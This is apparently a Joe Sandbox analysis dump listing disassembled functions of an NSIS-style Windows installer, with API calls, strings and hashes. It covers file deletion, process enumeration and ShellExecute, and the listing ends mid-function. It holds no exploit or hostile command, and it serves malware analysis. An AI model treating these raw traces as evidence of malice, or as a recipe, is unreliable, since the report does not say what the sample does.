Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

N, xrefs: 00404C06
, xrefs: 00404F39
@, xrefs: 00404B90
M, xrefs: 00404B43

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

A, xrefs: 00404636
@%F, xrefs: 00404674
@rD, xrefs: 00404610
82D, xrefs: 004046DB

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07
name, xrefs: 00406FBF

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory("%s"), xrefs: 00406E6F
\*.*, xrefs: 00406D03
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
Delete: DeleteFile("%s"), xrefs: 00406DBC
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C
@%F, xrefs: 00406A53
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

EnumProcessModules, xrefs: 0040648A
GetModuleBaseNameW, xrefs: 00406494
Module32FirstW, xrefs: 004065D3
EnumProcesses, xrefs: 00406482
Process32NextW, xrefs: 004065C8
PSAPI.DLL, xrefs: 00406464
Kernel32.DLL, xrefs: 0040659B
Process32FirstW, xrefs: 004065BD
Module32NextW, xrefs: 004065DE
Unknown, xrefs: 004064FC
CreateToolhelp32Snapshot, xrefs: 004065B5

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

open, xrefs: 004042DF
N, xrefs: 0040426C
@%F, xrefs: 004042A7

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
